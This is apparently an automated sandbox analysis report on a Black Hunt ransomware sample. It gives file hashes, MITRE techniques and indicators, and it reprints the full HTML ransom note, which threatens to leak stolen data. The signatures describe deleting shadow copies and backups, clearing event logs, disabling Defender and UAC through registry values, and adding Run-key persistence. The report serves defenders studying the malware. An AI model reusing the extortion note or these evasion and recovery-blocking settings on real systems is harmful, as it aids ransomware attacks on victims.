995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:16

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General

Target

995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
Size

707KB
MD5

49b04ddad7c5bf6faaa310cadddf237d
SHA1

37f9d7c51d324b1fec2fe6d414ffddff4ac7c9aa
SHA256

995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08
SHA512

f49ae359f9f24192e248fb0ef64a0a15e5e9484baeec85beb9103cb4a03f7da8fc9f465eb29de2da20857680577153fed784b56efaca8115cd992257ba7afff5
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1Z8Uvnh:6uaTmkZJ+naie5OTamgEoKxLWEqh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> OkoZvDzDGu5I3cMD </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2252	fsutil.exe
2592	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	vssadmin.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	vssadmin.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3028	wevtutil.exe
2560	wevtutil.exe
1756	wevtutil.exe
4060	wevtutil.exe
2280	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2800	bcdedit.exe
1204	bcdedit.exe
3348	bcdedit.exe
1984	bcdedit.exe

Renames multiple (2847) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2608	wbadmin.exe
2236	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2036	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	bcdedit.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\Y:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\H:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\K:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\N:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\J:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\L:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\Z:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\B:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\M:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	wbadmin.exe
File opened (read-only)	\??\W:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\T:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\G:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\V:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\X:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\U:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\I:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\P:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\S:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\O:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\A:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\Q:	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7Handle.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ust-Nera	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files (x86)\Uninstall Information\#BlackHunt_ReadMe.hta	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\#BlackHunt_ReadMe.hta	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-api.xml	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Rio_Gallegos	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Los_Angeles	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\#BlackHunt_ReadMe.hta	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.services.nl_zh_4.4.0.v20140623020002.jar	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.ja_5.5.0.165303.jar	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_Private.key	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\win32\jni_md.h	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_ReadMe.txt	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\feature.xml	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-api-annotations-common.xml	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-io-ui.xml	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\setup.ini	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\play-static.png	995a700ff7f531d832a81855e08354c9077f4fa4aa104345af8666c284f27e08.exe
